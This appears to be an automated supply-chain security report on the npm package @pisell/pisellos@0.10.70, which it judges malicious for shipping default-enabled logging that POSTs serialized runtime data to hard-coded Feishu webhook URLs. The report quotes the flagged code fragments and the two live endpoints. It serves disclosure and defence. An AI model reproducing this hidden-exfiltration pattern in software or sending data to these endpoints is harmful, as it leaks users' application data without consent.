@pisell/pisellos@0.10.70
一个可扩展的前端模块化SDK框架，支持插件系统
AI Security Review
scanned 11d ago · by lpm-firewall-aiThe inspected source establishes an active, default-enabled transmission of application log records to fixed external webhook destinations. This is concrete runtime data exfiltration behavior, so the package should be blocked.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review
Trigger
A consumer initializes ScanOrder with a scanOrderLogger, or invokes a method that logs.
Impact
Application and operational data included in log records can be disclosed to the webhook recipient.
Mechanism
The logger packages record context, payload, and extra information into a message and POSTs it to the configured Feishu webhook.
Attack narrative
ScanOrder defaults to fixed webhook destinations and initializes logging when the solution starts. Its logger sends serialized record data by POST to Feishu, including context, payload, and extra fields. The initialized logger also records method starts, so transmission can occur during ordinary runtime use.
AI rationale
The inspected source establishes an active, default-enabled transmission of application log records to fixed external webhook destinations. This is concrete runtime data exfiltration behavior, so the package should be blocked.
Evidence
dist/solution/ScanOrder/index.jsdist/modules/ScanOrderLogger/providers/feishu.jsdist/modules/ScanOrderLogger/index.js
Network endpoints2
open.feishu.cn/open-apis/bot/v2/hook/216b3fe6-af98-424e-8706-f0471241a7edopen.feishu.cn/open-apis/bot/v2/hook/015b7c2a-dd3c-4c30-9898-ef0f5253111f
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- ScanOrder initialization selects the Feishu logger and supplies fixed webhook destinations by default.
- Initialization logs immediately, and ScanOrder methods log their names and payload data.
- The logger serializes record context, payload, and extra information into the outgoing message.
- The Feishu provider sends the message body with a POST request to the configured webhook.
- The webhook is accepted as usable unless absent or marked as a replacement placeholder.
- The logger passes its built record and provider configuration to the selected provider’s send method.
Evidence against
- The manifest’s prepublishOnly hook runs a build; it does not explain or mitigate the runtime data transmission.
Behavioral surface
EnvironmentVarsEvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourcedist/plugins/window.jsView file
•matchType = normalized_sha256
matchedPackage = @pisell/pisellos@0.10.69
matchedPath = dist/plugins/window.js
matchedIdentity = npm:QHBpc2VsbC9waXNlbGxvcw:0.10.69
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/plugins/window.jsView on unpkg248} else {
L249: eval(handler);
L250: }
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/plugins/window.jsView on unpkg · L248dist/solution/ScanOrder/index.jsView file
•Default hardcoded logging webhook in dist/solution/ScanOrder/index.js:
this.store.scanOrderLogger.setProviderConfig(((_this$otherParams5 = this.otherParams) === null || _this$otherParams5 === void 0 ? void 0 : _this$otherParams5.scanOrderLoggerConfig)...
webhook: 'https://open.feishu.cn/open-apis/bot/v2/hook/216b3fe6-af98-424e-8706-f0471241a7ed',
errorHook: 'https://open.feishu.cn/open-apis/bot/v2/hook/015b7c2a-dd3c-4c30-9898-ef0f5253111f'
Rich runtime records posted to the webhook in [redacted].js:
var context = record.context || {};
text: "\u65E5\u5FD7\u5185\u5BB9: ".concat(safeStringify(record.payload), "\n")
text: "\u6269\u5C55\u4FE1\u606F: ".concat(safeStringify(record.extra), "\n")
return fetch(webhook, {
Reachable runtime logger calls in dist/modules/Order/index.js:
this.logger.addL
Findings
1 Critical3 High3 Medium5 Low
CriticalHardcoded Runtime Data Exfiltrationdist/solution/ScanOrder/index.js
HighSemantic Analysis Limitedlib/solution/RegisterAndLogin/utils.js#virtual:normalized:round1
HighKnown Malware Source Similaritydist/plugins/window.js
HighAi Review Evidencedist/solution/ScanOrder/index.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/plugins/window.js
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @pisell/pisellos@0.10.70.
See all versions of @pisell/pisellos for other recorded verdicts.
- Avoid installing @pisell/pisellos@0.10.70. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.